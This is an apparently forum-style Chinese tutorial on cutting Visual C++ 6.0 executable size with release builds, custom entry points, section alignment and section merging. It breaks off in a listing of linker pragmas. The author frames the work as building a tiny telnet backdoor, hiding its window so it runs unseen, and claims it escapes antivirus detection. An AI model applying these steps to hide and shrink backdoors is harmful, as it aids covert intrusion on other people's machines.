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[最优化编译设置文库
人们都说vc做出的东西可以小点,现在你打开vc编译一个Hello World出来!点属性看下,咦!我没走眼吧,就一Hello World就160kb真是要人命啊!
呵呵!上面的情况是笔者所遭遇的情况.不过后来了解vc可以通过设置参数来自定义编译方式.为什么文件那么大!主要是编译器加入了很多没必要的代码(这里是对我们而言,不过有些代码还是有利于安全的).好了我们就手动改下编译器的参数来看看能到多大!
我们主要用到的技巧有:
一,使用release版而不用debug版编译
使用debug版编译会生成许多垃圾信息.我们先使用默认的设置进行一下编译.可以看到编译后生成的文件有152k之巨.使用release版编译具体方法是:在build(编译)Configuration(配置)中将Win32 debug移去,然后再次编译可以发现文件已经小了很多,才24k.但离我们的目标还很远呢.
二,设置自己的入口点函数
C或C++程序默认的入口函数是main()或WinMain(),但我们现在不用什么Main,WinMain.因为这些都不是直接的入口点,编译器在产生exe文件的时候,将为我们生成真正的入口点.下面我们来定义自己的入口函数,具体是把main或WinMain改成其它的名字(如MyFun),打开Project(工程)settings(设置)选项,选中link选项卡,在Category(分类)下拉列表中选output,在 Entry-Point symbol(输入项-点符号)中输入我们刚才定义的入口函数(MyFun),在源程序中也要做相应修改,然后再编译.现在是16k了:)
三,更改编译对齐方式
通常VC在编译的时候,采用的对齐方式是0x1000,即4096bytes,我们现在将他改成0x200,即512bytes.
在刚才打开的link选项卡,在下面的Project options(工程选项)中添加:/align:512(还可以将512设
置的更小如16,32).注意两个参数之间有个空格. 3k了^_^用32试试 1.84k好~~~用16 1.79k天哪!
再把程序的数据段和代码段放在一起,添加:/merge.data=.text /merge:.rdata=.text 1.76k go on!
另外,如果要是用到MFC函数的程序,可在Project(工程)settings(设置)里面的通用(General)选项卡中在Microsoft Foundation Classes中选择使用一个MFC的dll(Use MFC in a Share Dll)也会使文件大小缩小很多.现在我们的超小后门编译好了,试下能用否. ok 没问题哦
大家注意到程序运行时会产生一个cmd窗口,要让他没有就好了.这也好办.
回到VC++中,在Project(工程)settings(设置)选项,选中link选项卡,在下面的Project options(工程选项)有/subsystem:console选项,表示程序是控制台程序,双击运行是会有一个cmd窗口,把console改为windows就没有窗口了.:),运行一下 没有窗口哦 但有进程 连接一下试试
ok 没问题 这样我们的超小1.76k telnet小后门就成功了 不被查杀哦 ^_^
// 编译器 cl.exe(Visual C++ 6.0)
// 没有做任何优化情况下,编译大小为:16K
// 编译优化后: 1K (用16进制编辑器把尾部的0x00去掉: 712bytes)
#include windows.h
#pragma comment(lib,kernel32.lib)
// 作用: 指定节对齐为512字节
#pragma comment(linker, /align:512)
// 作用: 合并节
// 将.data节和.rdata节合并到.text节(代码节)
#pragma comment(linker, /merge:.data=.text)
#pragma comment(linker, /merge:.rdata=.text)
// 作用: 指定子系统为windows (和优化无关)
// vc编译器默认是console,会有个黑糊糊的CMD窗口,不好看.用windows就好了
#pragma comment(linker, /subsystem:windows)
// 作用: 指定入口函数
// 子系统为windows的默认入口点WinMain和console的默认入口点main,都会引入
#pragma comment(linker, /ENTRY:main)
//int WinMain(HINS
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